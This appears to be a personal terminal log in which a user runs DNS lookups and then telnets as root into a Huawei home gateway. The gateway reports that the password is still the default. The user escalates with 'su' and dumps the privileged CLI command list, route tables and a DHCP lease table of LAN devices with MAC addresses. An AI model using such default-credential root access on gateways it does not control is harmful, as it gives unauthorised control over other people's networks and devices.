k662c-20 log

k662c-20 log

·

panxf@LPT028958:~/code$ nslookup www.baidu.com

Server:     10.255.255.254

Address:    10.255.255.254#53


Non-authoritative answer:

www.baidu.com  canonical name = www.a.shifen.com.

Name:  www.a.shifen.com

Address: 180.101.51.73

Name:  www.a.shifen.com

Address: 180.101.49.44

Name:  www.a.shifen.com

Address: 240e:e9:6002:1fd:0:ff:b0e1:fe69

Name:  www.a.shifen.com

Address: 240e:e9:6002:1ac:0:ff:b07e:36c5


panxf@LPT028958:~/code$ nslookup --help

*** Invalid option: -help

>

panxf@LPT028958:~/code$ dig +trace www.baidu.com

;; communications error to 10.255.255.254#53: timed out

;; communications error to 10.255.255.254#53: timed out

;; communications error to 10.255.255.254#53: timed out


; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> +trace www.baidu.com

;; global options: +cmd

;; no servers could be reached

panxf@LPT028958:~/code$ dig www.baidu.com


; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.baidu.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32358

;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;; QUESTION SECTION:

;www.baidu.com.         IN   A


;; ANSWER SECTION:

www.baidu.com.     474   IN   CNAME  www.a.shifen.com.

www.a.shifen.com.    551   IN   A    180.101.51.73

www.a.shifen.com.    551   IN   A    180.101.49.44


;; Query time: 38 msec

;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)

;; WHEN: Sat Sep 20 09:52:50 CST 2025

;; MSG SIZE rcvd: 104


panxf@LPT028958:~/code$ dig www.facebook.com


; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.facebook.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65282

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0


;; QUESTION SECTION:

;www.facebook.com.       IN   A


;; ANSWER SECTION:

www.facebook.com.    216   IN   A    104.16.251.55


;; Query time: 28 msec

;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)

;; WHEN: Sat Sep 20 09:53:19 CST 2025

;; MSG SIZE rcvd: 50


panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ dig www.x.com


; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.x.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51370

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; MBZ: 0x0001, udp: 1232

;; QUESTION SECTION:

;www.x.com.           IN   A


;; ANSWER SECTION:

www.x.com.       1    IN   A    198.18.0.27


;; Query time: 12 msec

;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)

;; WHEN: Sat Sep 20 19:32:32 CST 2025

;; MSG SIZE rcvd: 54


panxf@LPT028958:~/code$ dig www.facebook.com


; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.facebook.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26845

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; MBZ: 0x0001, udp: 1232

;; QUESTION SECTION:

;www.facebook.com.       IN   A


;; ANSWER SECTION:

www.facebook.com.    1    IN   A    198.18.0.14


;; Query time: 16 msec

;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)

;; WHEN: Sat Sep 20 19:32:50 CST 2025

;; MSG SIZE rcvd: 61


panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

Connected to 192.168.1.9.

Escape character is '^]'.


Welcome Visiting Huawei Home Gateway

Copyright by Huawei Technologies Co., Ltd.


Login:root

Password:

Password is default value, please modify it!

WAP>

Last login: User:root IP:192.168.1.20 Time:2025-09-14 02:03:49


WAP>

WAP>su

success!

SU_WAP>

SU_WAP>

SU_WAP>?

acc get accesslimit

add wifi filter

amp add policy-stats pon

amp add policy-stats port

amp add stats gemport

amp clear policy-stats pon

amp clear policy-stats port

amp clear stats gemport

amp del policy-stats pon

amp del policy-stats port

amp del stats gemport

ampcmd show emac stat

ampcmd show flow all

ampcmd show flow index

ampcmd show log

ampcmd trace all

ampcmd trace cli

ampcmd trace dpoe

ampcmd trace drv

ampcmd trace emac

ampcmd trace emap

ampcmd trace eth

ampcmd trace gmac

ampcmd trace gmap

ampcmd trace onu

ampcmd trace optic

ampcmd trace qos

appmcmd debug

appmcmd regplat

appmcmd show

arping

bbsp add policy-stats btv

bbsp clear policy-stats btv all

bbsp clear policy-stats wan

bbsp del policy-stats btv

bbspara

bbspcmd

Broadband debug

Broadband display

btv start period-stats

btv stop period-stats

chipdebug

chipdebug clearall

chipdebug soc drop

chipdebug soc rx

chipdebug soc tx

clear amp pq-stats

clear lastword

clear pon statistics

clear poncnt dnstatistic

clear poncnt gemport upstatistic

clear poncnt upstatistic

clear port statistics

clear rogue flag

clear sfwd drop statistics

collect debug info

component delete all

ctrgcmd debug

ctrgcmd send

ctrgcmd show

debug dsp down msg

debug dsp msg

debug dsp up msg

debug ifm

debug qoscfg

debug rtp stack

debug sample mediastar

debugging dsp diagnose

debugging dsp para diagnose

debugging dsp record

debugging dsp t38diag

del wifi filter

dhcp client attach

dhcp client detach

dhcp client6 attach

dhcp client6 detach

dhcp server pool config

dhcp server pool disable

dhcp server pool enable

dhcp server pool lease config

dhcp server pool option add

dhcp server pool option del

dhcp server pool option flush

dhcp server pool restart

diagnose

display access mode

display access system info

display aclservicesrule

display amp policy-stats pon

display amp policy-stats port

display amp pq-stats

display amp stats gemport

display apmChipStatus

display appcert info

display backup list

display batteryStatus

display bbsp log

display bbsp stats btv

display bbsp stats wan

display bms

display bmsxml crc

display board-temperatures

display board2Item

display boardItem

display bomItem

display broadband info

display childcert info

display connection

display connection all

display cpu info

display current-configuration

display cwmp debug

display cwmp status

display ddns info

display debug info dhcp6c

display debug info dhcp6s

display debug info pppoev6

display debug info ra

display debuglog info

display debugwifilog info

display device-cert info

display deviceInfo

display dhcp client

display dhcp client all

display dhcp client6

display dhcp client6 all

display dhcp server pool

display dhcp server pool all

display dhcp server pool option

display dhcp server static

display dhcp server user

display dhcp server user all

display dhcp_em result

display diagnose info

display dns proxy info

display dnsserver static domain

display dpst

display dpst all

display dsp channel para

display dsp channel running status

display dsp channel status

display dsp chip stat

display dsp codec status

display dsp interrupt stat

display dynamic route

display eaiinfo

display edge_ont info

display epon ont info

display femPar info

display femPar version

display ffwd table

display file

display filter rf

display firewall rule

display flashlock status

display flow

display ftp config status

display if

display igmp

display igmp config

display inner version

display ip interface

display ip neigh

display ip route

display ip6tables filter

display iptables filter

display iptables mangle

display iptables nat

display iptables raw

display jb grid status

display jb para

display lan mac filter

display lanmac

display lanport workmode

display last call log

display lastword

display log info

display mac ap

display mac ap brief

display macaddress

display macaddress timer

display machineItem

display memory detail

display memory info

display microwave ctrl info

display msg-queue

display nat port mapping

display NCE info

display nff log

display oaml2shell ethvlan

display onu info

display optic

display optmode

display ploam-password

display policy route all

display pon statistics

display poncnt dnstatistic

display poncnt gemport upstatistic

display poncnt upstatistic

display port statistics

display portstatistics

display ppp interface

display pppoe client

display pppoe client all

display pppoe_em result

display productmac

display progress load

display rf config

display rfpi

display rootcert info

display rtp stack channel stat

display rtp stack chip stat

display rtp stack para

display rtp stack version

display sfwd drop statistics

display sfwd port statistics

display sn

display specsn

display ssh authentication-type

display ssh-hostkey fingerprint

display startcode version

display startup info

display swm bootstate

display swm state

display sysinfo

display syslog

display system info

display timeout

display timer

display tr069 info

display version

display voicelinetest

display voip dsp jbdata

display voip dsp para diagnose state

display voip dsp para diagnose statistics

display voip dsp tonedetect

display voip dtmfdiag state

display voip dtmfsimpara

display voip info

display voip rightflag

display voip ring info

display voip rtpdiag

display voip tone info

display wan layer all

display waninfo

display waninfo all

display waninfo all detail

display wanmac

display wifi ap

display wifi associate

display wifi calibrate mode

display wifi filter

display wifi information

display wifi multicast

display wifi neighbor

display wifi pa type

display wifi radio

display wifi smartant status

display wifichip

display wlan config

display wlan staevent

display wlan stainfo

display wlanmac

display zsp version

dnsserver add static

dnsserver delete static

firewall log

flush dhcp server pool

flush dnsserver cache

get ap retrans

get battery alarm policy

get battery alarm status

get ip conntrack

get mac agingtime

get ont oamfrequency

get opm switch

get optic debug info

get optic par info

get optic phy type

get optic txmode

get poncnt upgemport

get port config

get port isolate

get rogue status

get testself

get wifi atm

get wifi para

get wlan advance

get wlan associated

get wlan basic

get wlan enable

get wlan isolate

get wlan stats

get wlan wps

ifconfig

igmp add mirror filter

igmp clear statistics

igmp del mirror filter

igmp disable

igmp enable

igmp get debug switch

igmp get flow info

igmp get global cfg

igmp get iptv

igmp get mirror filter ip

igmp get multilmac

igmp get port multicast config

igmp get statistics

igmp set debug switch

igmp set iptv

ip -6 neigh

ip -6 route

ip -6 rule

ip interface config

ip neigh

ip neigh add

ip neigh delete

ip neigh flush

ip route

ip route show

ip rule

jvmcmd map histo

jvmcmd stack trace

jvmcmd stat

lan mac filter add

lan mac filter delete

lan mac filter disable

lan mac filter enable

lan mac filter flush

load fem par

load pack

load ssh-pubkey

logout

macaddress

make ssh hostkey

mid get

mid off

mid set

napt cli

netstat -na

nslookup

oam show eventlog

oamcmd clear log

oamcmd debug

oamcmd error log

oamcmd pdt show log

oamcmd show flow

oamcmd show log

omcicmd alarm show

omcicmd clear log

omcicmd debug

omcicmd error log

omcicmd mib show

omcicmd pdt show log

omcicmd pm show

omcicmd show flow

omcicmd show log

omcicmd show qos

osgicmd debug

osgicmd get debug

osgicmd plugin permission

osgicmd set debug

osgicmd show bundleresource

osgicmd show bundlestate

ping

plugcmd show state

plugcmd start

plugcmd stop

plugcmd uninstall

plugincmd debug

ppp interface config

pppoe client attach

pppoe client detach

qoscfg get

quit

reset

restore backup

restore manufactory

route get default

route get static

save data

save log

session cli

set ap retrans

set apssh

set aptelnet

set cwmp debug

set ethportmirror

set flashlock

set iaccess speed

set led

set microwave ctrl

set nce

set newparentalctrl

set newparentalctrl stats

set opticdata

set port isolate

set portmirror

set ringchk

set ssid

set timeout

set userpasswd

set voice announcement

set voice dtmfmethod

set voicedebug

set voicedsploop

set voicelinetest

set voiceportloop

set voicesignalingprint

set voip clip

set voip dsptemplate

set voip dtmfdebug

set voip dtmfdetfilter

set voip dtmfdiag start

set voip dtmfdiag stop

set voip dtmfsimpara

set voip dtmfsimu start

set voip dtmfsimu stop

set voip fax T38

set voip faxmodem switch

set voip highpassfilter

set voip portgain

set voip rtpdiag

set voip sipprofile

set wifi ap optimize

set wifi atm

set wifi expert

set wifi filter

set wifi para

set wifi radio

set wlan basic

set wlan enable

set wlan isolate

set wlan staboost

sfwd port statistics

shell

show diagnose

ssh authentication-type

ssh remote

start diagnose

stats clear

stats display

stop diagnose

su

telnet remote

test apdev

test tr069 inform end

test tr069 inform start

traceroute

trafficdump

udm clear log

udm show log

undo debugging dsp diagnose

undo debugging dsp para diagnose

undo debugging dsp record

undo debugging dsp t38diag

undo firewall log

voice net diagnose start

voice remote diagnose server set

voice remote diagnose set

vspa clear rtp statistics

vspa debug

vspa display conference info

vspa display digitmap info

vspa display dsp running info

vspa display dsp state

vspa display dsp template info

vspa display mg if state

vspa display mg info

vspa display online user info

vspa display port status

vspa display profilebody info

vspa display rtp statistics

vspa display service log

vspa display signal scene info

vspa display signal scene list

vspa display user call state

vspa display user status

vspa reset

vspa shutdown mg

wap list

wap ps

wap top

wifi smartant set

SU_WAP>route static ?

SU_WAP>route ?

route get default

route get static

SU_WAP>rouroute get sttati

ERROR::Command is not existed


SU_WAP>route get static

ERROR::Route does not exist


SU_WAP>route get static ?

route get static instance [instanceid]

SU_WAP>route get static instance ?

SU_WAP>route get static instance 0

ERROR::Route does not exist


SU_WAP>route get static instance 01

ERROR::Route does not exist


SU_WAP>route get static instance 01 ip

ERROR::invalid instance value


SU_WAP>ip ?

ip -6 neigh

ip -6 route

ip -6 rule

ip interface config

ip neigh

ip neigh add

ip neigh delete

ip neigh flush

ip route

ip route show

ip rule

SU_WAP>ip route show?

[Command]:ip route show [table table_name|table_id]

SU_WAP>ip route show table ?

SU_WAP>ip r

ERROR::Command is not existed


SU_WAP>ip interface config

ERROR::Input para is not right


SU_WAP>ip route show

default via 192.168.1.1 dev wan1 table 100

192.168.2.0/24 dev br0 table 100 scope link src 192.168.1.9

blackhole default table 200 metric 150

default via 192.168.1.1 dev wan1 table lan1 metric 100

blackhole default table lan1 metric 150

192.168.2.0/24 dev br0 table lan1 scope link

default via 192.168.1.1 dev wan1 metric 10

192.168.1.0/24 dev wan1 scope link src 192.168.1.9

192.168.2.0/24 dev br0 scope link src 192.168.2.1

broadcast 127.0.0.0 dev lo table local scope link src 127.0.0.1

local 127.0.0.0/8 dev lo table local scope host src 127.0.0.1

local 127.0.0.1 dev lo table local scope host src 127.0.0.1

broadcast 127.255.255.255 dev lo table local scope link src 127.0.0.1

broadcast 169.254.254.0 dev lo table local scope link src 169.254.254.182

local 169.254.254.0/24 dev lo table local scope host src 169.254.254.182

local 169.254.254.182 dev lo table local scope host src 169.254.254.182

broadcast 169.254.254.255 dev lo table local scope link src 169.254.254.182

broadcast 192.168.1.0 dev wan1 table local scope link src 192.168.1.9

local 192.168.1.9 dev wan1 table local scope host src 192.168.1.9

broadcast 192.168.1.255 dev wan1 table local scope link src 192.168.1.9

broadcast 192.168.2.0 dev br0 table local scope link src 192.168.2.1

local 192.168.2.1 dev br0 table local scope host src 192.168.2.1

broadcast 192.168.2.255 dev br0 table local scope link src 192.168.2.1

unreachable default dev lo metric -1 error -101

fe80::/64 dev br0 metric 256

fe80::/64 dev vap0 metric 256

fe80::/64 dev vap3 metric 256

fe80::/64 dev vap4 metric 256

fe80::/64 dev vap7 metric 256

unreachable default dev lo metric -1 error -101

local ::1 dev lo table local metric 0

anycast fe80:: dev lo table local metric 0

local fe80::101 dev lo table local metric 0

local fe80::fa2e:3fff:feee:4895 dev lo table local metric 0

local fe80::fa2e:3fff:feee:489c dev lo table local metric 0

local fe80::fa2e:3fff:feee:489f dev lo table local metric 0

local fe80::fa2e:3fff:feee:48a0 dev lo table local metric 0

local fe80::fa2e:3fff:feee:48a3 dev lo table local metric 0

ff00::/8 dev eth0 table local metric 256

ff00::/8 dev br0 table local metric 256

ff00::/8 dev vap0 table local metric 256

ff00::/8 dev vap3 table local metric 256

ff00::/8 dev vap4 table local metric 256

ff00::/8 dev vap7 table local metric 256

unreachable default dev lo metric -1 error -101


success!

SU_WAP>route ?

route get default

route get static

SU_WAP>

SU_WAP>display dhcp server ?

display dhcp server pool

display dhcp server pool all

display dhcp server pool option

display dhcp server static

display dhcp server user

display dhcp server user all

SU_WAP>display dhcp server poll all

ERROR::Command is not existed


SU_WAP>display dhcp server static

-----------------------------------------------------------------

Index        HW Addr        IP

-----------------------------------------------------------------

-----------------------------------------------------------------

Total: 0


success!

SU_WAP>display dhcp server pool all

----------------------------------------------------------------------

Index DHCP Server   Netmask     State

----------------------------------------------------------------------

1   192.168.2.1   255.255.255.0  up

2   --        --        down

----------------------------------------------------------------------

Total: 2


success!

SU_WAP>display dhcp server pool ?

display dhcp server pool

display dhcp server pool all

display dhcp server pool option

SU_WAP>display dhcp server pool option

ERROR::pool does not exist


SU_WAP>display dhcp server pool option

ERROR::pool does not exist


SU_WAP>display dhcp server pool all

----------------------------------------------------------------------

Index DHCP Server   Netmask     State

----------------------------------------------------------------------

1   192.168.2.1   255.255.255.0  up

2   --        --        down

----------------------------------------------------------------------

Total: 2


success!

SU_WAP>display dhcp server user all


start detecting lan dev ...


----------------------------------------------------------------------

Index User  IP       Host  HW Addr      Expire-time

   Port          Name

----------------------------------------------------------------------

1   LAN3  192.168.2.64  panxf 54:ee:75:31:40:45 2 days, 11:48:48

2   SSID1 192.168.2.187  Bouffa 24:94:94:e9:00:a7 2 days, 03:17:56

3   SSID3 192.168.2.137  --   ba:6e:c3:ca:aa:ff 1 days, 14:30:26

4   SSID3 192.168.2.173  LPT028 70:15:fb:a0:de:80 2 days, 13:50:16

5   SSID1 192.168.2.9   wentek c8:f6:50:12:28:09 2 days, 20:23:43

6   SSID1 192.168.2.126  iPhone 9a:8c:9a:7f:2d:f1 2 days, 23:23:05

7   SSID1 192.168.2.33  wentek 88:2d:53:1b:53:8f 2 days, 19:09:17

8   SSID5 192.168.2.27  vivo-S 72:2f:d5:f8:0b:d6 2 days, 02:18:08

9   SSID3 192.168.2.58  Xiaodu 04:e7:95:53:86:5e 2 days, 19:09:52

10  SSID3 192.168.2.31  mini-P 00:e0:6f:69:f4:f0 2 days, 02:22:16

----------------------------------------------------------------------

Total: 10


success!

SU_WAP>?

acc get accesslimit

add wifi filter

amp add policy-stats pon

amp add policy-stats port

amp add stats gemport

amp clear policy-stats pon

amp clear policy-stats port

amp clear stats gemport

amp del policy-stats pon

amp del policy-stats port

amp del stats gemport

ampcmd show emac stat

ampcmd show flow all

ampcmd show flow index

ampcmd show log

ampcmd trace all

ampcmd trace cli

ampcmd trace dpoe

ampcmd trace drv

ampcmd trace emac

ampcmd trace emap

ampcmd trace eth

ampcmd trace gmac

ampcmd trace gmap

ampcmd trace onu

ampcmd trace optic

ampcmd trace qos

appmcmd debug

appmcmd regplat

appmcmd show

arping

bbsp add policy-stats btv

bbsp clear policy-stats btv all

bbsp clear policy-stats wan

bbsp del policy-stats btv

bbspara

bbspcmd

Broadband debug

Broadband display

btv start period-stats

btv stop period-stats

chipdebug

chipdebug clearall

chipdebug soc drop

chipdebug soc rx

chipdebug soc tx

clear amp pq-stats

clear lastword

clear pon statistics

clear poncnt dnstatistic

clear poncnt gemport upstatistic

clear poncnt upstatistic

clear port statistics

clear rogue flag

clear sfwd drop statistics

collect debug info

component delete all

ctrgcmd debug

ctrgcmd send

ctrgcmd show

debug dsp down msg

debug dsp msg

debug dsp up msg

debug ifm

debug qoscfg

debug rtp stack

debug sample mediastar

debugging dsp diagnose

debugging dsp para diagnose

debugging dsp record

debugging dsp t38diag

del wifi filter

dhcp client attach

dhcp client detach

dhcp client6 attach

dhcp client6 detach

dhcp server pool config

dhcp server pool disable

dhcp server pool enable

dhcp server pool lease config

dhcp server pool option add

dhcp server pool option del

dhcp server pool option flush

dhcp server pool restart

diagnose

display access mode

display access system info

display aclservicesrule

display amp policy-stats pon

display amp policy-stats port

display amp pq-stats

display amp stats gemport

display apmChipStatus

display appcert info

display backup list

display batteryStatus

display bbsp log

display bbsp stats btv

display bbsp stats wan

display bms

display bmsxml crc

display board-temperatures

display board2Item

display boardItem

display bomItem

display broadband info

display childcert info

display connection

display connection all

display cpu info

display current-configuration

display cwmp debug

display cwmp status

display ddns info

display debug info dhcp6c

display debug info dhcp6s

display debug info pppoev6

display debug info ra

display debuglog info

display debugwifilog info

display device-cert info

display deviceInfo

display dhcp client

display dhcp client all

display dhcp client6

display dhcp client6 all

display dhcp server pool

display dhcp server pool all

display dhcp server pool option

display dhcp server static

display dhcp server user

display dhcp server user all

display dhcp_em result

display diagnose info

display dns proxy info

display dnsserver static domain

display dpst

display dpst all

display dsp channel para

display dsp channel running status

display dsp channel status

display dsp chip stat

display dsp codec status

display dsp interrupt stat

display dynamic route

display eaiinfo

display edge_ont info

display epon ont info

display femPar info

display femPar version

display ffwd table

display file

display filter rf

display firewall rule

display flashlock status

display flow

display ftp config status

display if

display igmp

display igmp config

display inner version

display ip interface

display ip neigh

display ip route

display ip6tables filter

display iptables filter

display iptables mangle

display iptables nat

display iptables raw

display jb grid status

display jb para

display lan mac filter

display lanmac

display lanport workmode

display last call log

display lastword

display log info

display mac ap

display mac ap brief

display macaddress

display macaddress timer

display machineItem

display memory detail

display memory info

display microwave ctrl info

display msg-queue

display nat port mapping

display NCE info

display nff log

display oaml2shell ethvlan

display onu info

display optic

display optmode

display ploam-password

display policy route all

display pon statistics

display poncnt dnstatistic

display poncnt gemport upstatistic

display poncnt upstatistic

display port statistics

display portstatistics

display ppp interface

display pppoe client

display pppoe client all

display pppoe_em result

display productmac

display progress load

display rf config

display rfpi

display rootcert info

display rtp stack channel stat

display rtp stack chip stat

display rtp stack para

display rtp stack version

display sfwd drop statistics

display sfwd port statistics

display sn

display specsn

display ssh authentication-type

display ssh-hostkey fingerprint

display startcode version

display startup info

display swm bootstate

display swm state

display sysinfo

display syslog

display system info

display timeout

display timer

display tr069 info

display version

display voicelinetest

display voip dsp jbdata

display voip dsp para diagnose state

display voip dsp para diagnose statistics

display voip dsp tonedetect

display voip dtmfdiag state

display voip dtmfsimpara

display voip info

display voip rightflag

display voip ring info

display voip rtpdiag

display voip tone info

display wan layer all

display waninfo

display waninfo all

display waninfo all detail

display wanmac

display wifi ap

display wifi associate

display wifi calibrate mode

display wifi filter

display wifi information

display wifi multicast

display wifi neighbor

display wifi pa type

display wifi radio

display wifi smartant status

display wifichip

display wlan config

display wlan staevent

display wlan stainfo

display wlanmac

display zsp version

dnsserver add static

dnsserver delete static

firewall log

flush dhcp server pool

flush dnsserver cache

get ap retrans

get battery alarm policy

get battery alarm status

get ip conntrack

get mac agingtime

get ont oamfrequency

get opm switch

get optic debug info

get optic par info

get optic phy type

get optic txmode

get poncnt upgemport

get port config

get port isolate

get rogue status

get testself

get wifi atm

get wifi para

get wlan advance

get wlan associated

get wlan basic

get wlan enable

get wlan isolate

get wlan stats

get wlan wps

ifconfig

igmp add mirror filter

igmp clear statistics

igmp del mirror filter

igmp disable

igmp enable

igmp get debug switch

igmp get flow info

igmp get global cfg

igmp get iptv

igmp get mirror filter ip

igmp get multilmac

igmp get port multicast config

igmp get statistics

igmp set debug switch

igmp set iptv

ip -6 neigh

ip -6 route

ip -6 rule

ip interface config

ip neigh

ip neigh add

ip neigh delete

ip neigh flush

ip route

ip route show

ip rule

jvmcmd map histo

jvmcmd stack trace

jvmcmd stat

lan mac filter add

lan mac filter delete

lan mac filter disable

lan mac filter enable

lan mac filter flush

load fem par

load pack

load ssh-pubkey

logout

macaddress

make ssh hostkey

mid get

mid off

mid set

napt cli

netstat -na

nslookup

oam show eventlog

oamcmd clear log

oamcmd debug

oamcmd error log

oamcmd pdt show log

oamcmd show flow

oamcmd show log

omcicmd alarm show

omcicmd clear log

omcicmd debug

omcicmd error log

omcicmd mib show

omcicmd pdt show log

omcicmd pm show

omcicmd show flow

omcicmd show log

omcicmd show qos

osgicmd debug

osgicmd get debug

osgicmd plugin permission

osgicmd set debug

osgicmd show bundleresource

osgicmd show bundlestate

ping

plugcmd show state

plugcmd start

plugcmd stop

plugcmd uninstall

plugincmd debug

ppp interface config

pppoe client attach

pppoe client detach

qoscfg get

quit

reset

restore backup

restore manufactory

route get default

route get static

save data

save log

session cli

set ap retrans

set apssh

set aptelnet

set cwmp debug

set ethportmirror

set flashlock

set iaccess speed

set led

set microwave ctrl

set nce

set newparentalctrl

set newparentalctrl stats

set opticdata

set port isolate

set portmirror

set ringchk

set ssid

set timeout

set userpasswd

set voice announcement

set voice dtmfmethod

set voicedebug

set voicedsploop

set voicelinetest

set voiceportloop

set voicesignalingprint

set voip clip

set voip dsptemplate

set voip dtmfdebug

set voip dtmfdetfilter

set voip dtmfdiag start

set voip dtmfdiag stop

set voip dtmfsimpara

set voip dtmfsimu start

set voip dtmfsimu stop

set voip fax T38

set voip faxmodem switch

set voip highpassfilter

set voip portgain

set voip rtpdiag

set voip sipprofile

set wifi ap optimize

set wifi atm

set wifi expert

set wifi filter

set wifi para

set wifi radio

set wlan basic

set wlan enable

set wlan isolate

set wlan staboost

sfwd port statistics

shell

show diagnose

ssh authentication-type

ssh remote

start diagnose

stats clear

stats display

stop diagnose

su

telnet remote

test apdev

test tr069 inform end

test tr069 inform start

traceroute

trafficdump

udm clear log

udm show log

undo debugging dsp diagnose

undo debugging dsp para diagnose

undo debugging dsp record

undo debugging dsp t38diag

undo firewall log

voice net diagnose start

voice remote diagnose server set

voice remote diagnose set

vspa clear rtp statistics

vspa debug

vspa display conference info

vspa display digitmap info

vspa display dsp running info

vspa display dsp state

vspa display dsp template info

vspa display mg if state

vspa display mg info

vspa display online user info

vspa display port status

vspa display profilebody info

vspa display rtp statistics

vspa display service log

vspa display signal scene info

vspa display signal scene list

vspa display user call state

vspa display user status

vspa reset

vspa shutdown mg

wap list

wap ps

wap top

wifi smartant set

SU_WAP>m

ERROR::Command is not existed


SU_WAP>ip route add ?

SU_WAP>ip route ?

ip route

ip route show

SU_WAP>ip route

default via 192.168.1.1 dev wan1 metric 10

192.168.1.0/24 dev wan1 scope link src 192.168.1.9

192.168.2.0/24 dev br0 scope link src 192.168.2.1


success!

SU_WAP>ip route add 192.168.0.0/16 via 192.168.2.137 dev br0

ERROR::input para is not right!


SU_WAP>ip route show

default via 192.168.1.1 dev wan1 table 100

192.168.2.0/24 dev br0 table 100 scope link src 192.168.1.9

blackhole default table 200 metric 150

default via 192.168.1.1 dev wan1 table lan1 metric 100

blackhole default table lan1 metric 150

192.168.2.0/24 dev br0 table lan1 scope link

default via 192.168.1.1 dev wan1 metric 10

192.168.1.0/24 dev wan1 scope link src 192.168.1.9

192.168.2.0/24 dev br0 scope link src 192.168.2.1

broadcast 127.0.0.0 dev lo table local scope link src 127.0.0.1

local 127.0.0.0/8 dev lo table local scope host src 127.0.0.1

local 127.0.0.1 dev lo table local scope host src 127.0.0.1

broadcast 127.255.255.255 dev lo table local scope link src 127.0.0.1

broadcast 169.254.254.0 dev lo table local scope link src 169.254.254.182

local 169.254.254.0/24 dev lo table local scope host src 169.254.254.182

local 169.254.254.182 dev lo table local scope host src 169.254.254.182

broadcast 169.254.254.255 dev lo table local scope link src 169.254.254.182

broadcast 192.168.1.0 dev wan1 table local scope link src 192.168.1.9

local 192.168.1.9 dev wan1 table local scope host src 192.168.1.9

broadcast 192.168.1.255 dev wan1 table local scope link src 192.168.1.9

broadcast 192.168.2.0 dev br0 table local scope link src 192.168.2.1

local 192.168.2.1 dev br0 table local scope host src 192.168.2.1

broadcast 192.168.2.255 dev br0 table local scope link src 192.168.2.1

unreachable default dev lo metric -1 error -101

fe80::/64 dev br0 metric 256

fe80::/64 dev vap0 metric 256

fe80::/64 dev vap3 metric 256

fe80::/64 dev vap4 metric 256

fe80::/64 dev vap7 metric 256

unreachable default dev lo metric -1 error -101

local ::1 dev lo table local metric 0

anycast fe80:: dev lo table local metric 0

local fe80::101 dev lo table local metric 0

local fe80::fa2e:3fff:feee:4895 dev lo table local metric 0

local fe80::fa2e:3fff:feee:489c dev lo table local metric 0

local fe80::fa2e:3fff:feee:489f dev lo table local metric 0

local fe80::fa2e:3fff:feee:48a0 dev lo table local metric 0

local fe80::fa2e:3fff:feee:48a3 dev lo table local metric 0

ff00::/8 dev eth0 table local metric 256

ff00::/8 dev br0 table local metric 256

ff00::/8 dev vap0 table local metric 256

ff00::/8 dev vap3 table local metric 256

ff00::/8 dev vap4 table local metric 256

ff00::/8 dev vap7 table local metric 256

unreachable default dev lo metric -1 error -101


success!

SU_WAP>ip ROUTE

default via 192.168.1.1 dev wan1 metric 10

192.168.1.0/24 dev wan1 scope link src 192.168.1.9

192.168.2.0/24 dev br0 scope link src 192.168.2.1


success!

SU_WAP>ip route add ?

SU_WAP>ip route add

ERROR::input para is not right!


SU_WAP>ip route add

ERROR::input para is not right!


SU_WAP>?

acc get accesslimit

add wifi filter

amp add policy-stats pon

amp add policy-stats port

amp add stats gemport

amp clear policy-stats pon

amp clear policy-stats port

amp clear stats gemport

amp del policy-stats pon

amp del policy-stats port

amp del stats gemport

ampcmd show emac stat

ampcmd show flow all

ampcmd show flow index

ampcmd show log

ampcmd trace all

ampcmd trace cli

ampcmd trace dpoe

ampcmd trace drv

ampcmd trace emac

ampcmd trace emap

ampcmd trace eth

ampcmd trace gmac

ampcmd trace gmap

ampcmd trace onu

ampcmd trace optic

ampcmd trace qos

appmcmd debug

appmcmd regplat

appmcmd show

arping

bbsp add policy-stats btv

bbsp clear policy-stats btv all

bbsp clear policy-stats wan

bbsp del policy-stats btv

bbspara

bbspcmd

Broadband debug

Broadband display

btv start period-stats

btv stop period-stats

chipdebug

chipdebug clearall

chipdebug soc drop

chipdebug soc rx

chipdebug soc tx

clear amp pq-stats

clear lastword

clear pon statistics

clear poncnt dnstatistic

clear poncnt gemport upstatistic

clear poncnt upstatistic

clear port statistics

clear rogue flag

clear sfwd drop statistics

collect debug info

component delete all

ctrgcmd debug

ctrgcmd send

ctrgcmd show

debug dsp down msg

debug dsp msg

debug dsp up msg

debug ifm

debug qoscfg

debug rtp stack

debug sample mediastar

debugging dsp diagnose

debugging dsp para diagnose

debugging dsp record

debugging dsp t38diag

del wifi filter

dhcp client attach

dhcp client detach

dhcp client6 attach

dhcp client6 detach

dhcp server pool config

dhcp server pool disable

dhcp server pool enable

dhcp server pool lease config

dhcp server pool option add

dhcp server pool option del

dhcp server pool option flush

dhcp server pool restart

diagnose

display access mode

display access system info

display aclservicesrule

display amp policy-stats pon

display amp policy-stats port

display amp pq-stats

display amp stats gemport

display apmChipStatus

display appcert info

display backup list

display batteryStatus

display bbsp log

display bbsp stats btv

display bbsp stats wan

display bms

display bmsxml crc

display board-temperatures

display board2Item

display boardItem

display bomItem

display broadband info

display childcert info

display connection

display connection all

display cpu info

display current-configuration

display cwmp debug

display cwmp status

display ddns info

display debug info dhcp6c

